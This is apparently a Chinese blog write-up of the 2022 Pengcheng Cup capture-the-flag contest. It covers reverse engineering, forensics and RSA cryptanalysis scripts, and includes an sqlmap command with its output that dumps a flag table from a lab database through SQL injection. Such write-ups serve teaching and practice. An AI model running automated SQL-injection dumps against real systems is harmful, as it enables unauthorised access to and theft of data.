鹏程杯2022

最新推荐文章于 2024-03-25 18:00:12 发布

247533

最新推荐文章于 2024-03-25 18:00:12 发布

阅读量1.5k

点赞数

文章标签： python java c++ 网络安全

本文链接：https://blog.csdn.net/weixin_44418623/article/details/125889580

版权

PCL Two By M1o

baby_re

java逆向

native层so逆向

#include <iostream>

using namespace std;

int main() {
    unsigned int key[4] = {
            0x00000056, 0x00000057, 0x00000058, 0x00000059
    };//native
    unsigned int enc[38] = {119, 9, 40, 44, 106, 83, 126, 123, 33, 87, 113, 123, 112, 93, 125, 127, 41, 82, 44, 127, 39, 3, 126, 125, 119, 87, 47, 125, 33, 6, 44, 127, 112, 0, 126, 123, 115, 24};//java
    key[0] ^= 'G';
    key[1] ^= '2';
    key[2] ^= '\x11';
    key[3] ^= '\x12';//native
    unsigned char dec[38];
    for (int i = 0; i < 38; ++i) {
        dec[i]=*(enc+i)^key[i%4];
    }
    cout<<dec;
}

简单取证

桌面 secret.png

cmd: echo password = 62b041223bb9a

secret.png 内为base64解码逆序 -> zip + password -> txt

txt内为坐标

import xlsxwriter as xlwt

book = xlwt.Workbook('ctfcode.xlsx')
table=book.add_worksheet('flag_code')

with open( 'flag.txt', 'r' ) as f:
    qr=f.read()
qrlist=qr.split("\n")

for i in qrlist:
    temp=i.split(' ')
    table.write(int(temp[0])+1,int(temp[1])+1,'1')
book.close()

扫码得flag

easy_rsa

from Crypto.Util.number import  *
import gmpy2

def decrypt1():
    c = int("27455f081e4858790c6503580dad3302ae359c9fb46dc601eee98f05142128404e95377324720adbbdebf428549008bcd1b670f6749592a171b30316ab707004b9999f3b80de32843afdfd30505b1f4166a03cee9fc48902b74b6e850cfd268e6917c5d84e64f7e7cd0e4a30bfe5903fb5d821d27fdc817d9c4536a8e7aea55af266abcae857a8ffff2f741901baba1b44091a137c69c471c123ab0b80e250e055959c468e6e37c005105ecd7c8b48c659024e5e251df3eeff5da7b3d561cd98150da3575a16bee5f2524d2795fd4879487018345c1e96efc085ed45fb5f02c027aee5bca3aad0eb3e23376c0cd18b02fb05a1ff8fb1af0a3ce4bb671599894e",16)
    p = int("bb602e402b68a5cfcc5cfcc63cc82e362e98cb7043817e3421599a4bb8755777c362813742852dad4fec7ec33f1faec04926f0c253f56ab4c4dde6d71627fbc9ef42425b70e5ecd55314e744aa66653103b7d1ba86d1e0e21920a0bfe7d598bd09c3c377a3268928b953005450857c6cfea5bfdd7c16305baed0f0a31ad688bd",16)
    q = int("bb8d1ea24a3462ae6ec28e79f96a95770d726144afc95ffffa19c7c3a3786a6acc3309820ba7b1a28a4f111082e69e558b27405613e115139b38e799c723ab7fdd7be14b330b118ae60e3b44483a4c94a556e810ab94bbb102286d0100d7c20e7494e20e0c1030e016603bd2a06c1f6e92998ab68e2d420faf47f3ee687fb6d1",16)
    e = int("292",16)
    n = p*q
    phi = (p-1)*(q-1)
    t = gmpy2.gcd(e,phi)
    d = gmpy2.invert(e//t,phi)
    m = pow(c,d,n)
    msg = gmpy2.iroot(m,t)
    if msg[1]:
        return long_to_bytes(msg[0])

#高位攻击得出pq
def decrypt2():
    c = int("3a80caebcee814e74a9d3d81b08b1130bed6edde2c0161799e1116ab837424fbc1a234b9765edfc47a9d634e1868105d4458c9b9a0d399b870adbaa2337ac62940ade08daa8a7492cdedf854d4d3a05705db3651211a1ec623a10bd60596e891ccc7b9364fbf2e306404aa2392f5598694dec0b8f7efc66e94e3f8a6f372d833941a2235ebf2fc77c163abcac274836380045b63cc9904d9b13c0935040eda6462b99dd01e8230fdfe2871124306e7bca5b356d16796351db37ec4e574137c926a4e07a2bfe76b9cbbfa4b5b010d678804df3e2f23b4ec42b8c8433fa4811bf1dc231855bea4225683529fad54a9b539fe824931b4fdafab67034e57338217f",16)
    n = int("841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65",16)
    e = 65537
    p = 119234372387564173916926418564504307771905987823894721284221707768770334474240277144999791051191061404002537779694672314673997030282474914206610847346023297970473719280866108677835517943804329212840618914863288766846702119011361533150365876285203805100986025166317939702179911918098037294325448226481818486521
    q = 139862779248852876780236838155351435339041528333485708458669785004897778564234874018135441729896017420539905517964705602836874055417791439544162777504181482765029478481701166935117795286988835104239238153206137155845327225155932803904032184502243017645538314995056944419185855910939481260886933456330514972109
    phi = (p-1)*(q-1)
    d = gmpy2.invert(e,phi)
    m = pow(c,d,n)
    return long_to_bytes(m)

#nc不互素 得出pq
def decrypt3():
    c = int("1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df",16)
    n = int("c2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069",16)
    e = 65537
    q = 156257733382410613100339225525620663418746113373124324691778995709856691398510079686004601488388949688857500467851395921680982651583998623751021727010545748331472217173299772670339057201230372999051110181487417832305686642349676833325446158667018941680139416480436427937163081110766379541483372737347915915783
    p = 157289834249335309920584094387179905109333782357706353959858861542878018979030833313128272507079198736286746117543595076191988536367839248453491343495526847975531764017423389238615020384944843842794127324547220666143228906649323977906490716889772848677295085816112100695189342834499071037390827664723648060943
    phi = (p-1)*(q-1)
    d = gmpy2.invert(e,phi)
    M = pow(c,d,n)
    m = M//(2022*1011*p)
    return long_to_bytes(m)


if __name__ == '__main__':
    print(decrypt1()+decrypt2()+decrypt3())

baby_rsa

from Crypto.Util.number import *
import gmpy2

e = 1049
x = 4513855932190587780512692251070948513905472536079140708186519998265613363916408288602023081671609336332823271976169443708346965729874135535872958782973382975364993581165018591335971709648749814573285241290480406050308656233944927823668976933579733318618949138978777831374262042028072274386196484449175052332019377
c = 3303523331971096467930886326777599963627226774247658707743111351666869650815726173155008595010291772118253071226982001526457616278548388482820628617705073304972902604395335278436888382882457685710065067829657299760804647364231959804889954665450340608878490911738748836150745677968305248021749608323124958372559270
n = (pow(2,e) - x)
for q in range(2**15,2**16):
    if n % q == 0:
        break
p = n // q
# yafu
p = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231
d = inverse(e,(p-1)*(q-1))
m = pow(c,d,n)
for i in range(p-q,p):
    m = m*i % p
    print(long_to_bytes(-m%p))

easygo

python sqlmap.py -u http://192.168.1.115:8080/juice/2342 -D public -T super_secret_table -dump

sqlmap一把梭

[17:35:58] [INFO] fetching columns for table 'super_secret_table' in database 'public'
[17:35:58] [INFO] fetching entries for table 'super_secret_table' in database 'public'
Database: public
Table: super_secret_table
[1 entry]
+-----------------------------------+
| flag                              |
+-----------------------------------+
| PCL{Postgresql_1njection_1s_3asY} |
+-----------------------------------+

马后炮篇

Misc_water

ʍɐʇǝɹ‾dıɔʇnɹǝ.png 藏了两张图最后一张无用

其具体文件格式为 png+jpg(reverse)+png

其中jpg为盲水印（傅里叶变换）

得到压缩包密码 ZC4#QaWbW

得到jpg（实则png）crc爆破即可还原

babybit

虚拟硬盘镜像回收站翻到备份压缩包

用工具打开

Value Name					Value Type	Data
OsvEncryptComplete    	    RegQword	132995786261823536
OsvEncryptInit				RegQword	132995782594427750

中国时区 utc+8

Windows NT时间表示从1602年1月1日UTC时间开始的100纳秒数。